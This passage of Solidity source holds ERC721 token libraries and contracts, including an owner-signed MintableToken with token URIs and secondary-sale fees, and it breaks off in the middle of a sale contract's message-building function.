(bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor() internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping(uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping(address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom( address from, address to, uint256 tokenId ) public { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address from, address to, uint256 tokenId ) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) internal { _transferFrom(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require( ownerOf(tokenId) == owner, "ERC721: burn of token that is not own" ); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom( address from, address to, uint256 tokenId ) internal { require( ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This is an internal detail of the `ERC721` contract and its use is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { if (!to.isContract()) { return true; } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = to.call( abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ) ); if (!success) { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ contract ERC721Burnable is Context, ERC721 { /** * @dev Burns a specific ERC721 token. * @param tokenId uint256 id of the ERC721 token to be burned. */ function burn(uint256 tokenId) public { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved" ); _burn(tokenId); } } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Constructor function. */ constructor() public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner. * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require( index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds" ); return _ownedTokens[owner][index]; } /** * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens. * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { require( index < totalSupply(), "ERC721Enumerable: global index out of bounds" ); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom( address from, address to, uint256 tokenId ) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner. * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } library UintLibrary { function toString(uint256 _i) internal pure returns (string memory) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + (_i % 10))); _i /= 10; } return string(bstr); } } library StringLibrary { using UintLibrary for uint256; function append(string memory _a, string memory _b) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory bab = new bytes(_ba.length + _bb.length); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } function append( string memory _a, string memory _b, string memory _c ) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory bbb = new bytes(_ba.length + _bb.length + _bc.length); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i++) bbb[k++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i++) bbb[k++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i++) bbb[k++] = _bc[i]; return string(bbb); } function recover( string memory message, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { bytes memory msgBytes = bytes(message); bytes memory fullMessage = concat( bytes("\x19Ethereum Signed Message:\n"), bytes(msgBytes.length.toString()), msgBytes, new bytes(0), new bytes(0), new bytes(0), new bytes(0) ); return ecrecover(keccak256(fullMessage), v, r, s); } function getAddress( bytes memory generatedBytes, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { bytes memory msgBytes = generatedBytes; bytes memory fullMessage = concat( bytes("\x19Ethereum Signed Message:\n"), bytes(msgBytes.length.toString()), msgBytes, new bytes(0), new bytes(0), new bytes(0), new bytes(0) ); return ecrecover(keccak256(fullMessage), v, r, s); } function concat( bytes memory _ba, bytes memory _bb, bytes memory _bc, bytes memory _bd, bytes memory _be, bytes memory _bf, bytes memory _bg ) internal pure returns (bytes memory) { bytes memory resultBytes = new bytes( _ba.length + _bb.length + _bc.length + _bd.length + _be.length + _bf.length + _bg.length ); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i++) resultBytes[k++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i++) resultBytes[k++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i++) resultBytes[k++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i++) resultBytes[k++] = _bd[i]; for (uint256 i = 0; i < _be.length; i++) resultBytes[k++] = _be[i]; for (uint256 i = 0; i < _bf.length; i++) resultBytes[k++] = _bf[i]; for (uint256 i = 0; i < _bg.length; i++) resultBytes[k++] = _bg[i]; return resultBytes; } } contract HasContractURI is ERC165 { string public contractURI; /* * bytes4(keccak256('contractURI()')) == 0xe8a3d485 */ bytes4 private constant _INTERFACE_ID_CONTRACT_URI = 0xe8a3d485; constructor(string memory _contractURI) public { contractURI = _contractURI; _registerInterface(_INTERFACE_ID_CONTRACT_URI); } /** * @dev Internal function to set the contract URI * @param _contractURI string URI prefix to assign */ function _setContractURI(string memory _contractURI) internal { contractURI = _contractURI; } } contract HasTokenURI { using StringLibrary for string; //Token URI prefix string public tokenURIPrefix; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; constructor(string memory _tokenURIPrefix) public { tokenURIPrefix = _tokenURIPrefix; } /** * @dev Returns an URI for a given token ID. * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function _tokenURI(uint256 tokenId) internal view returns (string memory) { return tokenURIPrefix.append(_tokenURIs[tokenId]); } /** * @dev Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to set its URI * @param uri string URI to assign */ function _setTokenURI(uint256 tokenId, string memory uri) internal { _tokenURIs[tokenId] = uri; } /** * @dev Internal function to set the token URI prefix. * @param _tokenURIPrefix string URI prefix to assign */ function _setTokenURIPrefix(string memory _tokenURIPrefix) internal { tokenURIPrefix = _tokenURIPrefix; } function _clearTokenURI(uint256 tokenId) internal { if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } contract HasSecondarySaleFees is ERC165 { event SecondarySaleFees( uint256 tokenId, address[] recipients, uint256[] bps ); /* * bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f * bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb * * => 0x0ebd4c7f ^ 0xb9c4d9fb == 0xb7799584 */ bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584; constructor() public { _registerInterface(_INTERFACE_ID_FEES); } function getFeeRecipients(uint256 id) public view returns (address payable[] memory); function getFeeBps(uint256 id) public view returns (uint256[] memory); } /** * @title Full ERC721 Token with support for tokenURIPrefix * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Base is HasSecondarySaleFees, ERC721, HasContractURI, HasTokenURI, ERC721Enumerable { // Token name string public name; // Token symbol string public symbol; struct Fee { address payable recipient; uint256 value; } // id => fees mapping(uint256 => Fee[]) public fees; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ constructor( string memory _name, string memory _symbol, string memory contractURI, string memory _tokenURIPrefix ) public HasContractURI(contractURI) HasTokenURI(_tokenURIPrefix) { name = _name; symbol = _symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } function getFeeRecipients(uint256 id) public view returns (address payable[] memory) { Fee[] memory _fees = fees[id]; address payable[] memory result = new address payable[](_fees.length); for (uint256 i = 0; i < _fees.length; i++) { result[i] = _fees[i].recipient; } return result; } function getFeeBps(uint256 id) public view returns (uint256[] memory) { Fee[] memory _fees = fees[id]; uint256[] memory result = new uint256[](_fees.length); for (uint256 i = 0; i < _fees.length; i++) { result[i] = _fees[i].value; } return result; } function _mint( address to, uint256 tokenId, Fee[] memory _fees ) internal { _mint(to, tokenId); address[] memory recipients = new address[](_fees.length); uint256[] memory bps = new uint256[](_fees.length); for (uint256 i = 0; i < _fees.length; i++) { require( _fees[i].recipient != address(0x0), "Recipient should be present" ); require(_fees[i].value != 0, "Fee value should be positive"); fees[tokenId].push(_fees[i]); recipients[i] = _fees[i].recipient; bps[i] = _fees[i].value; } if (_fees.length > 0) { emit SecondarySaleFees(tokenId, recipients, bps); } } /** * @dev Returns an URI for a given token ID. * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) external view returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return super._tokenURI(tokenId); } /** * @dev Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to set its URI * @param uri string URI to assign */ function _setTokenURI(uint256 tokenId, string memory uri) internal { require( _exists(tokenId), "ERC721Metadata: URI set of nonexistent token" ); super._setTokenURI(tokenId, uri); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _clearTokenURI(tokenId); } } /** * @title MintableToken * @dev anyone can mint token. */ contract MintableToken is Ownable, IERC721, IERC721Metadata, ERC721Burnable, ERC721Base { constructor( string memory name, string memory symbol, address newOwner, string memory contractURI, string memory tokenURIPrefix ) public ERC721Base(name, symbol, contractURI, tokenURIPrefix) { _registerInterface(bytes4(keccak256("MINT_WITH_ADDRESS"))); transferOwnership(newOwner); } function mint( uint256 tokenId, uint8 v, bytes32 r, bytes32 s, Fee[] memory _fees, string memory tokenURI ) public { require( owner() == ecrecover(keccak256(abi.encodePacked(this, tokenId)), v, r, s), "owner should sign tokenId" ); _mint(msg.sender, tokenId, _fees); _setTokenURI(tokenId, tokenURI); } function setTokenURIPrefix(string memory tokenURIPrefix) public onlyOwner { _setTokenURIPrefix(tokenURIPrefix); } function setContractURI(string memory contractURI) public onlyOwner { _setContractURI(contractURI); } } library AddressLibrary { function toString(address _addr) internal pure returns (string memory) { bytes32 value = bytes32(uint256(_addr)); bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(42); str[0] = "0"; str[1] = "x"; for (uint256 i = 0; i < 20; i++) { str[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)]; str[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)]; } return string(str); } } contract AbstractSale is Ownable { using UintLibrary for uint256; using AddressLibrary for address; using StringLibrary for string; using SafeMath for uint256; bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584; uint256 private constant maxBuyerFeePercentage = 10000; uint256 public buyerFee = 0; address payable public beneficiary; /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } constructor(address payable _beneficiary) public { beneficiary = _beneficiary; } function setBuyerFee(uint256 _buyerFee) public onlyOwner { require( _buyerFee <= maxBuyerFeePercentage, "max buyer percentage can't be more than 10000" ); buyerFee = _buyerFee; } function setBeneficiary(address payable _beneficiary) public onlyOwner { beneficiary = _beneficiary; } function prepareMessage( address token, uint256 tokenId, uint256 price, uint256 fee, uint256 nonce ) internal pure returns (string memory) { string memory result = string( strConcat( 